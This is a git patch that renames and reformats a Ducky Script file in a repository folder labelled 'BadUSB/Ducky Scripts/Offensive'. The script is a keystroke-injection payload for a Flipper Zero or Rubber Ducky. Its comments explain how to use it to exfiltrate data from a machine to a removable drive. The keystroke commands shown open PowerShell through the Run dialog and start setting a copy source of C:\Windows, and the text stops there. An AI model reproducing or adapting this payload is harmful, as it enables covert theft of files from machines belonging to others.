From ec90eebc399e30dc0922b359235fd7778da8f7a7 Mon Sep 17 00:00:00 2001 From: Zarcolio Date: Tue, 4 Jul 2023 22:00:59 +0200 Subject: [PATCH] Update and rename ExfillToUsb.txt to ExfilToUsb.txt --- .../{ExfillToUsb.txt => ExfilToUsb.txt} | 54 +++++++++---------- 1 file changed, 27 insertions(+), 27 deletions(-) rename BadUSB/Ducky Scripts/Offensive/{ExfillToUsb.txt => ExfilToUsb.txt} (97%) diff --git a/BadUSB/Ducky Scripts/Offensive/ExfillToUsb.txt b/BadUSB/Ducky Scripts/Offensive/ExfilToUsb.txt similarity index 97% rename from BadUSB/Ducky Scripts/Offensive/ExfillToUsb.txt rename to BadUSB/Ducky Scripts/Offensive/ExfilToUsb.txt index 00fe2ae..3c83859 100644 --- a/BadUSB/Ducky Scripts/Offensive/ExfillToUsb.txt +++ b/BadUSB/Ducky Scripts/Offensive/ExfilToUsb.txt @@ -1,30 +1,30 @@ -REM _..._ .-'''-. .-'''-. -REM .-'_..._''. ' _ \ .---. ' _ \ -REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \ -REM || .-. .- / .' . | \ ' | ||__|. | \ ' -REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | ' -REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / / -REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' / -REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'` -REM || | | \ ` / / / `" __ | | | | '- \ '. . | || | -REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__| -REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---' -REM ' `'-'`|`-' / | |\ \._,\ '/|_| ` -REM '..' |_________| `--' `" - -REM Do you want BadUSB / Ducky Script to exfill data from a machine but not online? -REM This script tests all removable drive root directories for a certain file with a random file name. -REM IF this file is detected, this means this drive is the removable you're using to exfill data to. -REM How to use this script? -REM Copy this Ducky script to your Flipper Zero or Rubber Ducky, generate a file with a random file name -REM and change the value of $CopyFrom, $CopyTo and $FindMe below accordingly. - -DELAY 1000 -GUI r -DELAY 1000 -STRING powershell -ENTER -DELAY 2000 +REM _..._ .-'''-. .-'''-. +REM .-'_..._''. ' _ \ .---. ' _ \ +REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \ +REM || .-. .- / .' . | \ ' | ||__|. | \ ' +REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | ' +REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / / +REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' / +REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'` +REM || | | \ ` / / / `" __ | | | | '- \ '. . | || | +REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__| +REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---' +REM ' `'-'`|`-' / | |\ \._,\ '/|_| ` +REM '..' |_________| `--' `" + +REM Do you want BadUSB / Ducky Script to exfill data from a machine but not online? +REM This script tests all removable drive root directories for a certain file with a random file name. +REM IF this file is detected, this means this drive is the removable you're using to exfill data to. +REM How to use this script? +REM Copy this Ducky script to your Flipper Zero or Rubber Ducky, generate a file with a random file name +REM and change the value of $CopyFrom, $CopyTo and $FindMe below accordingly. + +DELAY 1000 +GUI r +DELAY 1000 +STRING powershell +ENTER +DELAY 2000 ENTER ALTCODE $CopyFrom = "C:\Windows" ENTER